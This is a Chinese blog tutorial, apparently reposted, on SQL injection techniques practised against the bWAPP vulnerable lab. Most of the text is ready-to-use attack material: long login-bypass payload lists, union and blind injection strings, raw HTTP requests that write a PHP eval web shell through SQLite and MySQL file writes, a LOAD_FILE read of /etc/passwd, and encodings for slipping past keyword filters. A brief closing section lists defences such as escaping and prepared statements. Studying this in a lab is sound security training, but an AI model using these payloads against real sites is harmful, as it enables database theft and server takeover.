跟bWAPP学WEB安全(PHP代码)--SQL注入的一些技巧

背景



模拟环境还是 bWAPP,只不过这个bWAPP的SQL注入有点多,一一写意义不大,在这边就利用这个环境来尝试一些SQL注入的技巧。并研究下PHP的防御代码。

普通的bWAPPSQL注入的简单介绍



从get型search到CAPTCHA


简单级

#search
http://192.168.195.195/bWAPP/sqli_1.php?title=c%%27union%20select%201,2,3,version(),database(),6,%27&action=search
#select类
http://192.168.195.195/bWAPP/sqli_2.php?movie=-1%20union%20select%201,2,3,version(),database(),6,7


Login类--万能密码


#密码一栏填写
a' or '1'='1
#同理,账号一栏也可以随意,万能密码常用paylaod,列表
#asp与aspx
"or "a"="a
'.).or.('.a.'='.a 
or 1=1--
'or 1=1--
a'or' 1=1--
"or 1=1--
'or.'a.'='a
"or"="a'='a
'or''='
'or'='or'
admin'or 1=1#
#PHP万能密码
'or 1=1/*
"or "a"="a
"or 1=1--
"or"="
"or"="a'='a
"or1=1--
"or=or"
''or'='or'
') or ('a'='a
'.).or.('.a.'='.a
'or 1=1
'or 1=1--
'or 1=1/*
'or"="a'='a
'or' '1'='1'
'or''='
'or''=''or''='
'or'='1'
'or'='or'
'or.'a.'='a
'or1=1--
1'or'1'='1
a'or' 1=1--
a'or'1=1--
or 'a'='a'
or 1=1--
or1=1--
#jsp 万能密码
1'or'1'='1
admin' or 1=1/*

sqlite注入


语句稍有不同,但也没什么区别

#注释符号用/**/
http://192.168.195.195/bWAPP/sqli_11.php?title=c%%27%20union%20select%201,2,%27sql%20injection%27,sqlite_version(),5,6/*&action=search

#可以写文件拿shell
#payload
select * from test where id =1 ;ATTACH DATABASE 'C:\Sqlite\xiaozi.php' AS pwn ; CREATE TABLE pwn.exp (dataz text) ; INSERT INTO pwn.exp (dataz) VALUES (' <?php phpinfo(); ?> '); --
#数据包
POST /bWAPP/sqli_12.php HTTP/1.1
Host: 192.168.195.195
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://192.168.195.195/bWAPP/sqli_12.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 209
Connection: close
Cookie: security_level=0; PHPSESSID=feae3419ffc4c0c29111d74fe65e4668
Upgrade-Insecure-Requests: 1

entry=4',sqlite_version());ATTACH DATABASE '/var/www/bWAPP/1.php' AS pwn113 ; CREATE TABLE pwn113.exp (dataz text) ; INSERT INTO pwn113.exp (dataz) VALUES ('<?php @eval($_POST["cdjj"]);?>');-- ' &entry_add=add




类似的还有MySQL写文件获取的shell

# <?php @eval($_POST["cdjj"]);?>
select 0x3c3f70687020406576616c28245f504f53545b2263646a6a225d293b3f3e into outfile '/xxx/shell.php'

插入注入


在sqlite写文件那个中需要插入注入或者非query注入才行,因为一个是PHP执行的exec函数,一个是执行的query函数,后者只运行select语句。Insert语句注入没有什么特殊的,本质是拼接insert语句而不是拼接select语句,注入的东西插入数据,在页面上回显出来可以看到。

POST /bWAPP/sqli_7.php HTTP/1.1
Host: 192.168.195.195
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://192.168.195.195/bWAPP/sqli_7.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 94
Connection: close
Cookie: security_level=0; PHPSESSID=feae3419ffc4c0c29111d74fe65e4668
Upgrade-Insecure-Requests: 1

entry=1',(select/**/if(substring(@@version,1,1)=5,LOAD_FILE('/etc/passwd'),'NO'))); #&blog=add

LOAD_FILE('/etc/passwd') #MySQL读文件

有些HTTP Header头字段也可以注入

盲注


#布尔型,这里可以用 >  <  between做二分判断,between也可以用来绕过< >过滤
IF(substring(database(),1,1)=b,'YES','NO')
#时间型
' and if(1=0,1, sleep(10)) --+    

" and if(1=0,1, sleep(10)) --+

) and if(1=0,1, sleep(10)) --+

') and if(1=0,1, sleep(10)) --+

") and if(1=0,1, sleep(10)) --+
#postgresql
pg_sleep(5)

编码和绕过



大小写绕过关键字检测


select->sELeCt

加分隔符绕过


select->sEL/**/eCt

空格转分隔符绕过或者括号绕过


union select->union/**/select
where 1=1->where(1=1)

URL转码


#->%23

十六进制编码绕过引号过滤(hex)


'users'->0x7573657273

char编码绕过(ascii)


Test->CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)

宽字节和双重编码


%xx%xx->(%xx%xx)%xx->括号中成为宽字节
双重编码%2527->第一次解码成为%27(因为%25URL解码就是%)->二次解码%27->'(单引号)

防御



函数防御


  • 最好的选择:mysql_real_escape_string()
  • 一般的选择:addslashes()

配置防御:


  • 配置php.ini magic_quotes_gpc=On

PDO和预编译


  • 先执行mysql连接对象的prepare函数准备sql语句的雏形,然后执行bind_param函数填充用户输入的数据。
  • 使用PDO,先prepare,然后使用bindValue函数,与前者类似。
原文地址:https://www.cnblogs.com/KevinGeorge/p/10290345.html